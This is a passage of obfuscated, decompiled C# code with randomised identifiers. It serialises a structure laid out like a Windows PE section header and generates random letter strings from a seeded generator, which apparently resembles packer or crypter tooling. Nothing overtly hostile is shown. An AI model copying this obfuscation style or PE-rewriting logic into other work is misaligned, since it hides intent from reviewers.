        this.atacseufwU = flags;
        this.rOnzlZpa = (ushort) 0;
        this.goebwlsq = (ushort) 0;
        this.epQnvoz = 0U;
        this.wtcpyvdAquu = 0U;
      }

      public void tpSchlVvwqeu(BinaryWriter dest)
      {
        dest.Write(this.Gbzzvacltssph, 0, 8);
        dest.Write(this.ttireywvav);
        dest.Write(this.huMNybeUrrv);
        dest.Write(this.vWwpmibp);
        dest.Write(this.efxraidDxamjk);
        dest.Write(this.wtcpyvdAquu);
        dest.Write(this.epQnvoz);
        dest.Write(this.goebwlsq);
        dest.Write(this.rOnzlZpa);
        dest.Write(this.atacseufwU);
      }

      public void rusGhmQvlumtp(BinaryReader source)
      {
        this.Gbzzvacltssph = new byte[8];
        source.Read(this.Gbzzvacltssph, 0, 8);
        this.ttireywvav = source.ReadUInt32();
        this.huMNybeUrrv = source.ReadUInt32();
        this.vWwpmibp = source.ReadUInt32();
        this.efxraidDxamjk = source.ReadUInt32();
        this.wtcpyvdAquu = source.ReadUInt32();
        this.epQnvoz = source.ReadUInt32();
        this.goebwlsq = source.ReadUInt16();
        this.rOnzlZpa = source.ReadUInt16();
        this.atacseufwU = source.ReadUInt32();
      }
    }

    private class xkocvnL
    {
      private Random eLnfjzvLtiImkb;
      private int qxspijgsvo;
      private int zgetot;

      public xkocvnL(int len1, int len2, int seed)
      {
        this.eLnfjzvLtiImkb = new Random(seed);
        this.qxspijgsvo = len1;
        this.zgetot = len2;
      }

      public string tbcwkzbtonhk()
      {
        string str = "";
        int num = this.eLnfjzvLtiImkb.Next(this.qxspijgsvo, this.zgetot);
        for (int index = 0; index < num; ++index)
        {
          if (this.eLnfjzvLtiImkb.Next(8) == 1)
            str += (string) (object) (char) (65 + this.eLnfjzvLtiImkb.Next(26));
          else
            str += (string) (object) (char) (97 + this.eLnfjzvLtiImkb.Next(26));
        }
        return str;
      }
    }
  }
}
